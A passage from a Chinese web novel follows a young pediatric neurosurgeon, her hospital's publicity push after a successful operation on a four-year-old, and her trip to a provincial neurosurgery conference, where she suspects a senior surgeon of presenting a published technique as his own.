阮乔一下子放松了,“那你是没看见我家的猪肉,现在猪看见我都得哭着求我别缝它了。” 魏联问:“猪还允许你继续吃它?” 阮乔微笑道:“比起缝它,它应该更愿意让我吃它。” 几人聊了几句,手术室所有人都轻松不少。 他们只在一起做过一台手术,现在薛建的手术关注度这么高,大家多少都会有压力。 但看看南栀和阮乔,压力也就没那么大了。 手术从后正中入路,阮乔看到薛建的枕骨,“这是……” 南栀一边做手术一边说:“局部呈虫蚀样改变,你仔细看,这部位的肿瘤组织已经突于外板。” “肿瘤都成烂鱼肉了,唉。” 手术室外,学生们正在看南栀的操作。 隔着手术服,他们隐约能看到南栀手臂的肌肉,便意识到事情好像没那么简单。 “南医生……好熟练啊。” “像在分尸。” “……” “她手速好快,都是练出来的?” “分尸后还要缝合?” “……” “靠,感觉比我导师还厉害!” 所有人异口同声道:“回学校就告诉他!” “……” 手术过程比较顺利,术中出血100ml。 薛建被推到监护病房,记者们一窝蜂地围了上去。 范母至今都没露面,说是害怕看到镜头。 范昌倒是撑着过来了,只是他也是病人,也得养,做不了太多事。 这一点也是韦宁雨解决的,他安排人给范昌和薛建送一日三餐。 当然,记者也都记住了这一点。 相信明天他们就能看到最新报道,报道一定会对康宁医院大夸特夸。 人群中还有田宏的身影。 他听说康宁医院新进了一批设备,这些设备连恩德医院都没有。 田宏一直以在恩德医院工作为傲,现在康宁医院好像有赶超的势头,他当然得来看看新设备的威力。 以前最好的设备都会先出现在恩德医院。 田宏听着学生和记者们对康宁医院以及南栀的夸赞,心里的酸水都快流出来了。 不就是设备吗!不就是南栀吗! 他就不信了,莫名其妙的小儿神外还真能被带起来?! 他一定要…… 田宏看到陆随走过来,立刻闪身躲到其他人身后。 现在还在观察阶段,不能被陆随发现。 等以后他再看见陆随……哼,一定是陆随躲着他。 薛建醒得很快,而且状态不错。 晚上需要复查头颅CT,没有异常。 为了让薛建安心休息,韦宁雨把记者清退。 他真诚地说道:“我们一切都为病人的安危考虑,他刚做完手术,需要休息,希望大家能理解。” 于是记者们又开始写康宁医院有多么的人性。 南栀和阮乔偷偷在后面看。 阮乔摸着良心说:“我这里怎么有点儿疼?” 虽然他们确实挺为医院着想的,但韦宁雨这么一宣传,她就总觉得不对味。 哪有做了好事还要到处留名的? 但阮乔知道,南栀肯定理解韦宁雨,她说了,目的是好的,用些手段是可以的。 这会儿南栀也捂着良心,“……是有点儿疼。”【魔蝎小说 mo xie xs .c om】 100-110 第101章 第101章风气不好 对于南栀和阮乔的羞愧,韦宁雨只有一个评价:不能成事!! 甭管什么行业,太有良心是没有发展的! 薛建的术后病理显示,手术切除的是胚胎性肿瘤,局部分化出神经毡,符合神经母细胞瘤。 薛建是神母颅骨转移4期。 儿童神母头颈骨转移多见于下颌骨,颅骨转移比较少见。 南栀把神母国际委员会临床分期表和危险度分组默写下来给阮乔看。 阮乔就喜欢跟着南栀学习,南栀不仅能给她提供很多课本上没有的知识点,还会顺便帮她梳理好。 念书时,她最欠缺的就是整理能力,现在好了,有“老师”给她做笔记、划重点,她的成绩突飞猛进。 阮乔甚至有回学校和大学生们一起参加考试的冲动,她一定能拿前几名! 对南栀的表格感兴趣的还是医科大学的学生们。 手术开始之前,他们对这个没磨合的手术团队还有疑虑,现在这些疑虑完全打消。 南栀和阮乔的配合堪称默契,魏联则属于将自己的工作做好做完美的类型。 至于麻醉医生和护士们,以前都与南栀有过合作,已经熟悉了。 他们刻板地认为,外科医生大多是男性,优秀的外科医生更是如此。 可南栀看起来没比他们大多少,手术风格却是快准狠,看着就痛快,还能治疗强迫症。 优秀与否不该以性别划分,刻板印象不可取。 第二天,南栀来到办公室,还有学生试图进来,“南老师,能再讲讲神母吗?我还有很多不懂的地方。” “昨天说的分期表能不能给我一份,我查了好多资料,都没有……” 南栀说的分期表是刚发布的,临川市太闭塞,想拿到一手消息很难。 她爽快地应下。 以后再有什么新资料她就整理出来,尽快让大家看到,这是有好处的。 南栀在一夜之间升级成为“南老师”。 托薛建的福,开门很久的神外陆陆续续迎来几个可能需要开刀的患儿。 其中两个是临川市人,都有头疼恶心、半边身子没法挪动的情况,是看了薛建的报道后想过来碰碰运气。 他们实在没钱去首都看病,也有的是不想为了给一个孩子看病搞得家徒四壁。 但如果在临川市就可以看病,那就不一样了,能节省来回的路费还有在首都住宿费,再不来看看就不合适了。 如果有钱,谁愿意没良心? 还有一个甚至是从隔壁市专门跑过来的,说是看到了传单。 传单,一种早期宣传方式。 但是隔壁市怎么会有康宁医院的传单? 韦宁雨得意扬扬道:“整个省都有我的人脉,当然要广泛地传播,哎呀,你们不理解,越多人知道,咱们就越有手术可做。都不用有实际病例,十个人里总有一个人会信。” 南栀:“……” 这就是所谓的“流量”吧? 南栀默默地给韦宁雨端茶倒水,甚至拿出手绢细声询问:“需要给您擦汗吗?” 韦宁雨:“……陆医生欺负你了?” 阮乔说:“陆医生能欺负她?她不把陆医生气死就不错了,陆医生现在天天说自己是工具人,什么叫工具人?” 韦宁雨:“工具就是……扳手?铁锹?钳子?这都是工具。” “明白了,”阮乔说,“陆医生是金属人。” 韦宁雨:“……” 听起来好像很有道理, 但是似乎不太对劲? 南栀还在献殷勤,“韦总,以后有需要就说哦,只要您开口,就算我忙得脚不沾地,也一定把您的手术安排在第一台。” “我谢谢你!不用了!”韦宁雨略有嫌弃,“你能不能正常点儿?” 南栀真诚道:“我看你有首富之姿。” 将来的富裕生活,全靠韦宁雨了! 两日后,薛建转入普通病房,范昌留下来照顾他。 晚上南栀才抽出时间去看望他,“小建这几天恢复得不错,他年纪小,只要手术成功,恢复得就好。” 范昌起身给南栀拿椅子,“真的很感谢你,如果不是你,我恐怕没有勇气带他去首都做手术。” 南栀看向薛建。 薛建是清醒的,正在玩玻璃球。 玻璃球很小,其实就是弹珠,男生玩得比较多。 按理说,弹珠给四岁的小朋友玩不太安全,保不齐他们就会吞下去,但是薛建看到弹珠后异常开心,护士才勉为其难允许他在范昌的注视下玩儿。 薛建知道自己生病,但是又不知道到底是多严重的病,一直乐呵呵地。 “他真的是很乖的孩子了,”范昌说,“刚发现他发病的时候,他不敢和我们说,他觉得是他不听话才生病了。后来可怜兮兮地拉着我说头头痛,我都心疼死了。” 南栀看了薛建片刻,说:“其实如果我没法做手术,你也会带他去首都的吧?” “不知道,”范昌如实道,“让我看着他死,不太可能,但去首都,我妈没人管,她……” 范昌的声音越来越小。 老师从小就教他们唱“世上只有妈妈好”,但也不是每一对父母都是称职的。 范昌在普外,也见过很多带着孩子的病人,或是带患儿来看病的家属,他们对孩子的呵护是范昌羡慕的。 尤其是妈妈,来彻夜照顾孩子的总会是妈妈。 但范昌确实没体会过这样的母爱。 “她没帮我说句话,我确实挺生气,但现在想想,也无所谓了,有她在,我才算有个家,这些年她也有帮我做家务,我给她的钱,她都给我姐了,自己也没花多少。我现在只有一个想法,把小建带大,他能健康长大我就知足了。” 南栀直来直去的脑回路其实不太能理解范昌的想法。 她知道没有绝对的好人和坏人,但还会有不绝对的母爱吗? 她认知中的母亲有两种,一种是她亲妈,不太喜欢她,想带着她一起自杀。 另一种是黄春兰,什么事都惦记她,家里煮个鸡蛋,都得给她留两个。 范昌举了个例子,“有的做父母的,对孩子很好,恨不得把所有钱都花在孩子身上,但是控制欲很强,让人窒息。有的不愿意听孩子的话,但对外人言听计从,每个人都有缺点吧。” 南栀好像理解一些了。 她亲妈有很多缺点,但也会有优点。 比如她对箫珵就很好,南栀和箫珵回忆中的母亲像是两个人。 想明白这一点,南栀有点儿释然。 她亲妈是什么样的人,她根本不用在意,反正再也看不见了。 南栀真心说道:“其实该我们谢谢你,你能相信我们,选择我们做手术,帮了大忙。” 好消息,南栀后天又排了一台手术。 “理解,”范昌说,“凡事总有第一次,我们做医生的也不例外,现在条件好了,还能学习、练习,以前还不是直接上手?我作为同行,在了解你的水平后选择相信你,这不是很正常吗?” 对于南栀来说,就是这份相信难能可贵。 病床上的薛建忽然欢呼医生,玻璃球落在地上。 薛建看向范昌,指着球说道:“跑了。” 范昌捡起弹珠,“咱玩点儿别的行不行?” 薛建指着窗外,“爬树树。” 范昌:“……你见谁家四岁小孩还说叠字?爬树不行,换一个。” 薛建乖巧道:“玩泥巴。” 范昌:“再换!” 薛建:“打雪仗。” 范昌:“……” 薛建:“堆雪人!” 范昌把弹珠还给薛建,“还是玩这个吧。” 薛建咯咯咯笑起来,继续玩弹珠去了。 范昌:“……我怎么好像被他耍了。” 南栀很肯定地点头,“是的。” 经过薛建的努力,成功让范昌接受他玩弹珠这件事! 范昌说了来自地狱的笑话:“不愧是刚开过的脑子,就是新!” 薛建手术过去三周,来神外看病的患儿比从前多了一倍。 韦宁雨的“宣传”很有效果。 虽然南栀仍然不算忙,小儿神外的情况和儿研所也没法比,但有患者就是胜利! 现在他们再去食堂,都能挺起胸膛、大摇大摆地走进去了! 阮乔表达大摇大摆的兴奋时,尚延评价道:“你们平时已经很大摇大摆了,不用手术团队。” 耳鼻喉的段嘉:“相当拽,拽是你们的特色,不分时间。” 南栀谦虚道:“我们没有这么好啦。” “没在夸你!” 午饭时间也是“劝学”时间。 韦宁雨有联系出版社,希望能把康宁医院出杂志的计划提上日程。 为此他还去见了院长和几位副院长,让他们交出文章来,哪怕是碎碎念。 毕竟杂志上只有南栀的文章有点儿说不过去。 韦宁雨的工作很成功,现在院长们见了他就跑,护士想偷偷休息一会儿,都往韦宁雨身边凑。 韦宁雨身边没有领导!! 儿科的几位一进食堂,大家伙都正襟危坐,一句废话都不说。 韦宁雨看了一圈,没发现新目标,有点儿惆怅。 南栀说:“慢慢来嘛,别着急,其实骨科的主任给了我一份稿子,说是想发表,但没成,可以放在杂志上。” “一份可不够,”韦宁雨说,“怎么也得每个人榨出两份来。” 大家坐得更笔直了。 汤兴生和祁念珍走进来去打饭。 连争紧随其后,汤兴生立刻站到连争身后。 连争扫了一眼安静的食堂,问:“咱医院军训了?” 这阵仗,他只有在军训的时候见过。 食堂阿姨压低声音,神秘道:“不,是他们来了。” “他们?”连争看向汤兴生和祁念珍,“副院长有这么可怕?” 食堂阿姨指了指已经坐下的南栀几人,“儿科的人来啦,都说他们是洪水猛兽!” 连争:“……” 这个钱花得挺值,都有人帮他整顿医院风气了?? 南栀目前还有手术做,挺安逸的。 阮乔就跟着南栀做手术,短时间内她也不指望自己能主刀。 只有韦宁雨还在挖空心思搞宣传,“唉,我真是太失败了,最多只能找到省里的人,再往外就没人脉了,我们应该把相邻的几个省都整合起来,让他们知道,脑子生病不一定非要去首都,来咱们康宁医院也行啊!” 南栀和阮乔默默摇头:您的人脉已经很广了。 只有魏联认真回答韦宁雨:“是的,我的人脉也不多,不然还可以多宣传宣传。” 南栀和阮乔默默点头:您的确不多。 “哎,”韦宁雨忽然说,“咱们盛主任今天太忙,不能和我们一起吃饭就算了,他怎么也单独坐?” 南栀看向韦宁雨指的方向。 单独坐的人是韩阅松,整个食堂,只有他一个人单独享用一张桌子。 “他刚来我们科,都不熟悉,不好意思吧。” “怪了,那边还有几个医务部的人,他和新同事不熟悉,可以去找老同事啊,非要自己坐?” 韩阅松虽说是加入了他们的手术团队,但因为从前不是儿科医生,尚延也没给他安排门诊。 南栀和阮乔还得忙儿科的活儿,每天从早忙到晚,韩阅松整日无所事事。 他也不喜欢和他们凑在一起聊天,总是窝在办公桌前,也不知道在干什么。 同事之间,这样的距离也挺好,像南栀他们关系好的不算多。 不过这是儿科,韦宁雨绝对不允许任何人掉队! 阮乔也十分气愤:“背叛!这是背叛!” 韦宁雨起身走向韩阅松,“自己吃多无聊,过来一起啊。” 韩阅松犹豫地看向几人。 韦宁雨握起拳,“你想搞特殊?” 韩阅松只能端起餐盘走过来。 不过他心里也有点儿小感动,以前在医务部,他就是个透明人,调过来之前他很担心没法和儿科的人好好相处,现在好了,他们都是善良的人嘛。 这下阮乔放心了,“对嘛,你得过来和我们一起丢人,我绝对不允许儿科有漏网之鱼!” 韩阅松:“……” 也不见得善良。 为了扩大手术团队的影响力,连争让南栀整理薛建的手术过程,给她报了个省里的会议。 是神外医生大会,还可以顺便去省第一人民医院参观学习。 第一人民医院曾经是省内最好的医院,后来恩德医院靠“财力”慢慢赶超一院,坐到第一的位置。 现在恩德医院不行了,一院再次荣耀起来。 尚延安排阮乔、魏联一起和南栀去学习。 临川市到省会只要坐两个小时的火车,比去首都方便得多。 可惜整个省的经济情况都不是很好,不然一院也不会被恩德压下去。 不管怎么说,能来省里参加会议是好事。 在临川市开会时,康宁医院还有一席之地,到了省里,就没康宁医院什么事了。 绝大部分医生都没听说过康宁医院。 开会的房间一共能坐一百多人,都是各个医院神外的医生。 也不是每个医院都有神外,一个医院来好几个人的情况很常见。 座位随机,先到先得,南栀几人是坐火车过来直接赶到会场的,只剩下后排座。 南栀无法理解,“前排不应该空着吗?” 后排才受欢迎吧?? “听说有美女医生作报告。”阮乔耸肩,“你看,神外的医生好像男人更多,呵呵,还是咱们有底线。” 她一回头,就见南栀往前面凑,“美女医生诶,我也想看看。” 阮乔:“……” 阮乔和魏联把南栀拉到后排入座。 前面的医生回头看了三人一眼,“你们是第一次来?以前好像没见过。” 阮乔客气道:“我们是从临川来的。” “哦!临川!”医生说,“哪里?没听说过。” 阮乔:“……” 没听说过激动什么! 阮乔继续解释——一个贫困的小城市。 她好像想起了什么,“等等,临川市、临川……临川是不是有个医院有MRI?” 阮乔自 豪道:“就是我们医院。” “哇!原来你们是恩德医院的?你们好,我是柳半芹!你们是恩德医院神外的?是刚进医院的吗,以前好像没来过哦。” 阮乔惊恐地检查自己,“我已经有恩德医院的气质了?这太糟糕了!” 魏联说:“柳医生骂人真厉害啊。” 柳半芹:“……啊?” 她好像说了很过分的话? 南栀解释道:“别在意,我们是康宁医院的医生。” “他们怎么……” “小事情啦,”南栀说,“只是恩德医院经常和我们有冲突而已。” 柳半芹:“……” 好像不是小事。 她磕磕巴巴地解释:“抱歉啊,临川的恩德医院很厉害,我以为进设备的是恩德医院,没想到是康……康什么?” 南栀:“康宁。” 阮乔惆怅道:“韦宁雨的宣传还是不到位啊。” “没办法,关注我们的人太少。” 三人沉默地叹气。 柳半芹:“……” 她好像是个坏人。 柳半芹是一院神外的医生,她身边都是一院的医生,他们好像对美女医生的报告不感兴趣。 她小声介绍道:“以前这种会议,恩德医院会派人过来,不过最近几次省里开会,恩德医院都没来了,好像和之前的传闻有关?你们知道吗?” 南栀淡定道:“卖肝。” 阮乔:“赚资本家的钱。” 魏联说:“你说得像他们在为民除害。” “唉,我还以为恩德医院会成为省里的招牌,我还想去工作呢,听说那边待遇更好,没想到会这样。” 南栀说:“心黑嘛,没办法。” “这种医院不长久。” “主要是现在也没见他们老实,那个田宏,前几天还来咱们医院上窜下跳的,还搞什么伪装,谁不认识他?” 柳半芹:“……” 看起来确实有深仇大恨。 南栀趁机询问一院神外的情况。 比如手术多不多,能治什么病。 柳半芹无奈道:“我到现在还只是个助手,我们科室是副主任们动手术比较多,那边那个光头的,就是其中一个副主任石翰墨。” 光头抬起头。 柳半芹花容失色。 好在光头很快又低下头,看起来很不好相处。 “至于设备嘛,以前可以说是省里最先进吧,现在不行了,你们医院真牛,什么设备都能搞到。” 准确来说应该是连院长牛。 阮乔见缝插针,“要不要来我们医院工作?我们医院福利一般待遇一般,没别的,只有梦想!” 柳半芹:“……你们医院的医生都挺像领导的。” 喜欢画饼。 “我们可是第一个小儿神外手术团队呢,将来说不定能在课本上留名!” 话音落下,有几个医生回过头,好奇地打量他们。 神外已经不是稀缺的科室,小儿神外还真没听说过。 国内几个神外方面的专家都能给小孩动手术,有必要单独开一个科室? 阮乔自豪道:“其实连院长进设备,就是为了我们。” 柳半芹吃惊道:“为了一个刚成立的手术团队?那你们医院……还怪有梦想的。” 一般医院真做不到。 “专门给小孩儿动手术,”柳半芹捉摸道,“真能专门给小孩动手术吗?” 脑袋上的病,好像是成人更多一点? 对于手术团队的成立,柳半芹心中存疑。 石翰墨回头看向南栀。 他们的对话,他都听见了。 小儿神外他听说过,舒映阶教授在儿研所开了小儿神外的门诊,是全国唯一的,其他医院想学都学不来。 就目前的医疗情况来说,也没必要学。 一个不知名的小医院,敢和儿研所一样开小儿外科,还进了一批设备,胆子实在是大。 柳半芹一看见石翰墨就心虚,石主任挺凶的。 她小声说:“我是和同行们交流讨论……石主任,您怎么看小儿神外?” “没用,”石翰墨面无表情地评价道,“国内除了舒教授,谁还有这个本事?更何况在我看来,舒教授如果能给成人做手术,那才是最好的。” 南栀不赞同,“人才会越来越多,每个领域都有领头人,钻研的范围越小,越能精益求精。” 柳半芹的心死了一半,南栀怎么敢质疑石主任!! 石翰墨冷笑一声,似乎不屑与南栀争论,又低下头继续看书了。 柳半芹小声道:“你别顶撞他啊,他很小心眼的,我们科室没人敢惹他。” 南栀睁着单纯的大眼睛,“可我不是你们科室的啊。” 柳半芹:“……” 忽然有点儿生气。 坐在石翰墨旁边的姚志勇同样是一院神外的副主任。 姚志勇似笑非笑道:“老石就是太古板,众所周知,古板开创不了新时代。” 柳半芹更想死。 “姚主任和石主任一直不对付……” 姚志勇和石翰墨是同学,相识多年,就没对付过。 两个人只要见面,就是一场风雨,科室内也分成两个“派别”。 这种钩心斗角不少见,但斗到他俩的程度,就不常见了。 柳半芹继续小声播报八卦,“有传言说姚主任的妻子和石主任 有关系,被人发现了……” 南栀问:“已经证实了?” “这倒没有。” 南栀:“真喜欢拉着女人造黄谣。” 阮乔说:“男人的恶趣味呗。” 阮乔的声音没有压低,几个男人扭头看过来。 阮乔挺胸抬头,挑了挑眉,“想打架?” 男人们:“……” 她怎么这么猖狂的?? 阮乔说:“你们想打我,我的好朋友南栀不会袖手旁观的!” 南栀:“……” 怪不得猖狂。 不过南栀也不会打架。 她怕遇到医闹,很想去拳馆学学,一直没时间去。 平时但凡可能遇到危险,陆随和箫珵都像保镖一直跟着她,目前为止倒是没什么问题。 现在她可打不过十几个大汉。 阮乔说:“没事的,你平时得罪人也多,不差这几个,他们的手艺肯定没你好。” 姚志勇和石翰墨同时看向阮乔。 他们争了这么久,但论吸引战火的能力,还真比不上阮乔。 有人认真打量南栀,“这谁啊,医学生?谁带来的?” 魏联道:“我们都是康宁医院的医生。” 大家更鄙夷了,“康宁医院是什么野鸡医院?” 魏联好心提醒,“就是有MRI的那家医院,省里第一家,有你们都没有的设备哦。” 男人们:“……” 更生气了!! 柳半芹捂着脸心虚道:“你们医院的医生,都怪招人恨的哈。” 吸引战火的功力一流。 姚志勇不悦道:“一院还没有的设备,康宁医院是在胡闹。难道一院的病人不比康宁医院多?” 南栀好奇道:“康宁医院都能进的设备,为什么一院没有呀?是不想要吗?” 阮乔附和:“是不想吗?” 魏联:“不想吗?” 姚志勇:“……” 这屋子里不会有回音! 南栀三人在最短的时间招惹了最多的人。 好在南栀感觉不到他们的恶意。 不可能有人对她有恶意的,她又聪明又乖巧! 会议开始,陆续有医生上台分享病例。 南栀也要上台,她准备的是薛建的病历。 颅骨转移的情况相对较少,值得汇报分享。 会议主持人很快念到南栀的名字。 南栀起身走向讲台。 讲台上放着一个话筒,不太好用,还有点儿矮。 南栀走过去直接拿起话筒。 柳半芹惊讶道:“南医生也要报告啊……是什么病例?” “神母。” “你们做的手术?” 阮乔再次自豪:“我们小儿神外可不是说着玩玩的,孩子才四岁哦,手术很成功。” “成功归成功……”柳半芹指着南栀问道,“她为什么空手上去?!” 不带病历吗? 不带报告? 没有演讲稿?? 他们主任汇报时,都会先找人去写演讲稿啊! 阮乔奇怪道:“为什么要这些?” “不需要说数据吗?那么多数据,能记得清??!” 阮乔:“?!” 和南栀在一起待得太久,她都忘了还可以直接用演讲稿! 阮乔忧伤道:“难道我正在用南栀的标准要求自己?” 魏联点头,“你把猪都缝疯了。” 阮乔:“……” 魏联:“你现在还喜欢背患者的情况,各项数据都背。” 难怪她时常觉得人生困难。 这可不行! 阮乔说:“我得多和小魏在一起,不能被南栀同化!!” 魏联:“……” 说得好像他很弱! 好吧,和南栀比起来,是有点儿弱。 南栀开始讲话。 虽然没有演讲稿,但她提起薛建的各项检查报告仍然如数家珍,每一个数字都不会记错。 就连姚志勇和石翰墨都抬起头认真听了几句。 姚志勇问:“这人到底是谁?” 石翰墨没好气道:“没听后面的人说吗?是有MRI的康宁医院的医生。” 姚志勇:“废话!我是问小医院怎么还有她这样的医生!” 工作久了,手底下的医生有没有本事,他们一眼就能认出来。 就凭南栀的记忆力,姚志勇就能肯定她一定有前途。 石翰墨和姚志勇开始新一轮的争执。 其他医生都被薛建的病例吸引,小声讨论起手术方案来。 如果是在他们医院,这台手术能做吗?会怎么做?预后如何? 最后大家得出一个结论,MRI在开颅手术中十分重要。 然而他们都没有。 医生们分别看向各自的主任。 主人们汗流浃背:“……” 不是,大家都一起穷着,康宁医院搞什么啊! 南栀最后还说了几句鼓舞人心的话,“先进的设备对手术的成败至关重要,首都和几个经济发达的城市现在都有配备MRI,MRI的普及还在推进中,希望各位领导能够考虑。” 主人们:“……” 好了好了知道康宁有了,不要再说了。 阮乔和魏联连声附和,“对,医院得努力,我们也得努力,地方偏僻就不能再落后了,得靠努力弥补!” 柳半芹:“……” 康宁医院如此努力,显得她很颓废。 不,是显得整个会议室的医生都很颓废! 南栀下台时,看她的人明显多了。 虽然南栀没有任何炫耀的意思,但结合她的表情和口吻,其他医生都能自动脑补她的心里话——“瞧,我们有先进设备哦”。 有几个主任已经偷偷溜出去给领导打电话。 南栀一无所知。 石翰墨回头问她,“薛建的手术是你做的?” 南栀点头。 “哪个学校毕业的?” 南栀如实道:“只上过培训班。” 石翰墨:“……” 姚志勇无语,“你在开玩笑?上过培训班就敢开刀?” “还去儿研所学习过,”南栀说,“我在儿研所已经做过很多台手术了。” 阮乔嘴很快,“南医生是跟着舒教授学习的。” 两个副主任都愣住。 神外的医生没有不知道舒映阶的。 只要提到舒教授,那就只有她一个人,不会有别人。 “舒教授怎么会……”姚志勇欲言又止。 他的意思很明显,舒教授怎么会教一个培训班毕业的人? 他也很想去镀金啊! 阮乔深沉道:“学习这事,主要看天赋……当然是因为我们南栀天赋好啦!” 魏联站起来发名片,“有需要的话可以来临川找我们。” 姚志勇:“……谢谢,不太想需要。” 石翰墨接下名片。 姚志勇就是太直白,职场上哪有说这话的? 不过石翰墨对所谓的手术团队也存疑,舒映阶会跑到小城市挑学生吗? 她说不定都没来过临川市。 讨论间,会议主持人宣布道:“下面我们有请最后一位医生,她的报告有些特殊,是关于她自己的病历报告。让我们有请韦医生!” 原来他们所说的美女医生是韦初雪。 韦初雪有两个月没有消息了。 南栀给她在的康复医院打过电话,得知对方已经出院。 韦利去世后,警方着重调查韦利的妻子,韦家目前的情况还不明朗。 韦宁雨和那边断了关系,连身份证上的名字都改了,也没有韦初雪的消息。 没想到她已经回来了。 大病初愈的韦初雪气色意外的很好。 她着便装,扎了一个漂亮的马尾,妆容精致,和在康宁医院时分毫不差。 韦初雪今天演讲的内容,是站在患者角度,如何看待开颅手术的。 病人对全麻的恐惧、医生是否该安抚病人,都有提到。 别说是开颅手术,只要涉及手术、涉及麻醉,人就会恐慌。 就算是医生,也避免不了恐慌。 面对病人的恐慌,可以认为此类手术简单,担心是多余的,但同时,是不是更该去理解病人? 阮乔震惊道:“韦医生回来了吗?怎么没告诉我们?” 她们好歹是在一个饭桌上吃过饭的情谊。 魏联问:“是我们医院的?” “当然啦,”南栀说,“不过她是去首都做的手术。” 柳半芹回过头,“为什么不来我们医院啊?” 南栀:“……” 柳半芹:“……,我知道了。” 此时无声胜有声。 韦初雪的演讲不长,她很快鞠躬下台。 会议主持人上台,感谢了分享病例的医生们,然后宣布会议结束。 阮乔拍了拍柳半芹的肩膀,“我们院长好像和你们这边沟通过,会议结束后让我们去参观学习。” 柳半芹问:“参观我们医院?恩……是看老掉牙的设备吗?” 阮乔:“……” “还是看手术?我们能做的手术,比你们更多吗?” 阮乔:“……” 柳半芹陷入怀疑中,“我们医院有什么好参观的??” 南栀示意柳半芹看隔壁。 其他一院的医生们,尤其是姚志勇和石翰墨,都在看着柳半芹。 姚志勇道:“咱们神外建立多年,经验丰富……值得参观。” 其他医生也说:“就是,经验是设备弥补不了的,如果设备好就能做好手术,还要老医生干什么?” 听起来更像是在给自己加油打气。 姚志勇请示了科室主任,在科室主任的同意下,他们顺便把南栀几人带回医院。 姚志勇对这三人的兴趣不大,“柳医生,你看起来和他们很熟悉,就带着他们多走走吧。” 柳半芹窘迫道:“可是……” 接待同行的工作是她能做的?? 姚志勇道:“他们想看什么,就带他们去看,去手术室的话提前打招呼。” 姚志勇特意提到手术室,是想告诉南栀,他们一院神外做手术也不差,不是有设备就能万事大吉。 石翰墨顶着光头摇了摇,背着手往办公室走。 姚志勇:“……” 有意见倒是自己来安排! 两个副主任负气离开。 阮乔说:“他们还真是不和谐,你们科室会不会很闹?” “唉,两个派别嘛,”柳半芹说,“我也很愁,这个和那个不好,那个又和那个有矛盾,我经常说错话。” 阮乔和南栀对视一眼,两人同时站到柳半芹两侧,“要不要来我们医院呀。” “我们很和谐哦!” “不要问我待遇,我们谈梦想,梦想!” 柳半芹:“……我是成人的外科医生。小儿的外科手术,我只做过颅缝早闭之类的。” 南栀夸张地抓住柳半芹的手,“我们正需要你这样的人才!” 魏联:“……” 韦宁雨的厚脸皮已经 感染儿科每一个人了,还好,还好他依然是谦虚、礼貌、优秀的小魏医生。 哦不,是魏医生! 柳半芹越听南栀和阮乔的话术越觉得耳熟。 好像副主任需要人干活,又不想给钱给好处的时候,也是这么说的。 柳半芹赶紧表态,“我先带你们去逛逛吧!” 一院的设备没什么好逛的,都不如康宁医院新。 他们连院长没什么优点,就是能搞来最新的设备。 影像科的同事很骄傲,“一院的设备,现在也就恩德医院能赶得上,省里有个大病小病的,都得来一院看病。” 柳半芹拼命使眼色,都没能让他安静一会儿。 南栀和阮乔则在深思:韦宁雨的宣传工作还是不到位啊…… “不过你们医院也挺出名,”影像科医生说,“我记得有个高医生?最近怎么不发表论文了?好像就是儿科的。” 这都是看过医学期刊的。 韦宁雨想搞康宁医院自己的杂志,提高影响力,南栀最近写的文章当然都攒着。 在南栀的威逼利诱下,陆随和箫珵也老老实实地攒文章。 当然,评职称是需要发表论文的,也得给他们稍微留点儿。 南栀含糊道:“不认识,好像辞职了。” 魏联:“?” 他怎么不知道? 这高仁看起来和南栀有关系啊! 魏联正想问个清楚,被阮乔拉住,阮乔低声道:“高仁是……是我前男友!为了其他女人把我抛弃了,你是不是好同事?是就别问!” 魏联同情道:“那你还挺惨的。” 他顿了顿,又说:“你是他女朋友,没顺便抢走几篇论文吗?他还是有点儿本事的。” 阮乔:“……” 儿科的人现在怎么不是抢就是白拿的? 谁掀起来的风气? 第102章 第102章没火化啦 虽说一院的设备不如康宁,但姚志勇和石翰墨说得也对,他们的经验是比南栀丰富的,值得学习。 柳半芹说起一院神外经手的病例,还是十分骄傲的,一院是省内数一数二的综合性医院,可以说是整个省的半个希望。 他们接诊过许多疑难杂症,成功治愈多起地方医院束手无策的病例,这都是一院的“战绩”。 柳半芹说:“我们的病房绝大部分都是成人,也有两个孩子,都是颅缝早闭。有一例病例你们可能感兴趣,他术后硬膜外血肿,还在治疗中。” 术后硬脑膜外血肿是较常见的并发症。 阮乔问:“还要再做开颅手术吗?” “主刀的是姚主任,肯定是要再开刀的,”柳半芹说,“其实姚主任的手术做得挺好的,这次病人硬脑膜血肿,姚主任还专门去研究预防术后硬脑膜外血肿的方法,一般认为颅骨成形术后,硬脑膜和骨瓣之间会有腔隙,这是形成术后硬脑膜血肿的主要原因。姚主任想了一个消灭腔隙的方法。” 阮乔不太懂这些,“怎么消除?” 柳半芹一边比画一边介绍,“关颅之前用2个0号肠线从骨窗硬膜中央穿出,针距在2~3厘米之间,在皮骨瓣相应处用克氏针钻两个孔,孔距和硬脑膜上针距相当,肠线两端从两个小孔穿出头皮,皮骨瓣复位后,拉进肠线。” 阮乔越听越迷糊,她掏出本子想要记录下来。 跟在南栀身边久了,她已经养成随时带本子的习惯,南栀总会突然说一些她闻所未闻的知识点。 柳半芹低声道:“我不太喜欢姚主任,他功利心挺重的,对患者挺凶,不过他的本事没的说,这都是他想出来的。” 南栀却道:“是他想的?” 柳半芹点头。 南栀说:“你刚才所说的内容,都是他写下来的?” “差不多吧,我背了好几遍才背下来。” “可我看过相似的内容,”南栀道,“在论文上,应该是解放军中心医院的期刊,和你说的几乎不差什么。你们这里不是解放军中心医院吧?” 柳半芹茫然地看着南栀。 后世的资料更加公开透明,现在连网络都没有,知识的传播全靠印刷。 这到底是不是姚志勇的论文,柳半芹都不知道。 南栀说:“他应该也看到这篇论文,拿来自己用了,他写的文章发表了吗?” 柳半芹摇头,“但是主任表扬他了……” 果然是在打信息差。 南栀对姚志勇的印象大打折扣。 无论如何都不该将别人的智慧占为己有。 柳半芹滔滔不绝时,神外的王医生就在旁边。 王医生身为一院的主治医生,他是自豪的。 读书时他就是班里成绩最好的,毕业后还来了省内最好的医院,不论是谁听到他的工作,都会露出几分羡慕。 他爸妈更是在胡同里扬眉吐气,一院的荣誉也属于他。 王医生原本是看到小城市的医生来参观学习,凑过来听听的。 南栀三人只有柳半芹接待,可见工作的医院很一般,如果是恩德医院的医生过来,副院长都得来安排。 虚荣心作祟,王医生想看到小地方医生的钦佩和羡慕。 没想到他非但没看到这一幕,南栀竟然还说她曾读过这篇论文。 王医生道:“我们姚主任开刀十几年,需要抄袭吗?你没有证据,就说这方法不是姚医生想的?” 南栀解释道:“我的确看过这篇论文,是该是在《外科杂志》上,应该还附图了,标注了肠线、皮骨瓣和硬脑膜。手术方法之后应该还有体会,第一条柳医生刚刚说得差不多了,第二条应该是针对大骨瓣的患者,有时需要钻四个孔,引出两根肠线分别结扎。” 柳半芹惊呼道:“有,真的有!” 